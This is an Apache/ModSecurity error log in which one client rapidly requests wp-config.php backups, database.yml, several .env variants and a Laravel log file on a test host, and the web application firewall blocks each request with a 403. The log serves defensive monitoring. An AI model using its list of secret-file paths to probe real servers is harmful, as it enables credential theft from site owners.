[Sun Mar 15 10:46:55.166071 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUAAAAAA&quot;]
[Sun Mar 15 10:46:55.166192 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUAAAAAA&quot;]
[Sun Mar 15 10:46:55.188011 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUQAAAAA&quot;]
[Sun Mar 15 10:46:55.188187 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUQAAAAA&quot;]
[Sun Mar 15 10:46:55.188321 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUQAAAAA&quot;]
[Sun Mar 15 10:46:55.210076 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUgAAAAA&quot;]
[Sun Mar 15 10:46:55.210234 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUgAAAAA&quot;]
[Sun Mar 15 10:46:55.210370 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHUgAAAAA&quot;]
[Sun Mar 15 10:46:55.305716 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHVgAAAAA&quot;]
[Sun Mar 15 10:46:55.305908 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHVgAAAAA&quot;]
[Sun Mar 15 10:46:55.306031 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHVgAAAAA&quot;]
[Sun Mar 15 10:46:55.327994 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHVwAAAAA&quot;]
[Sun Mar 15 10:46:55.328166 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHVwAAAAA&quot;]
[Sun Mar 15 10:46:55.328289 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHVwAAAAA&quot;]
[Sun Mar 15 10:46:55.463098 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXQAAAAA&quot;]
[Sun Mar 15 10:46:55.463294 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXQAAAAA&quot;]
[Sun Mar 15 10:46:55.463420 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXQAAAAA&quot;]
[Sun Mar 15 10:46:55.485257 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXgAAAAA&quot;]
[Sun Mar 15 10:46:55.485440 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXgAAAAA&quot;]
[Sun Mar 15 10:46:55.485564 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXgAAAAA&quot;]
[Sun Mar 15 10:46:55.507796 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXwAAAAA&quot;]
[Sun Mar 15 10:46:55.507983 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXwAAAAA&quot;]
[Sun Mar 15 10:46:55.508138 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHXwAAAAA&quot;]
[Sun Mar 15 10:46:55.530326 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYAAAAAA&quot;]
[Sun Mar 15 10:46:55.530523 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYAAAAAA&quot;]
[Sun Mar 15 10:46:55.530651 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYAAAAAA&quot;]
[Sun Mar 15 10:46:55.552511 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYQAAAAA&quot;]
[Sun Mar 15 10:46:55.552691 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYQAAAAA&quot;]
[Sun Mar 15 10:46:55.552825 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYQAAAAA&quot;]
[Sun Mar 15 10:46:55.574738 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.qa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.qa&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYgAAAAA&quot;]
[Sun Mar 15 10:46:55.574920 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.qa&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYgAAAAA&quot;]
[Sun Mar 15 10:46:55.575047 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.qa&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYgAAAAA&quot;]
[Sun Mar 15 10:46:55.597112 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYwAAAAA&quot;]
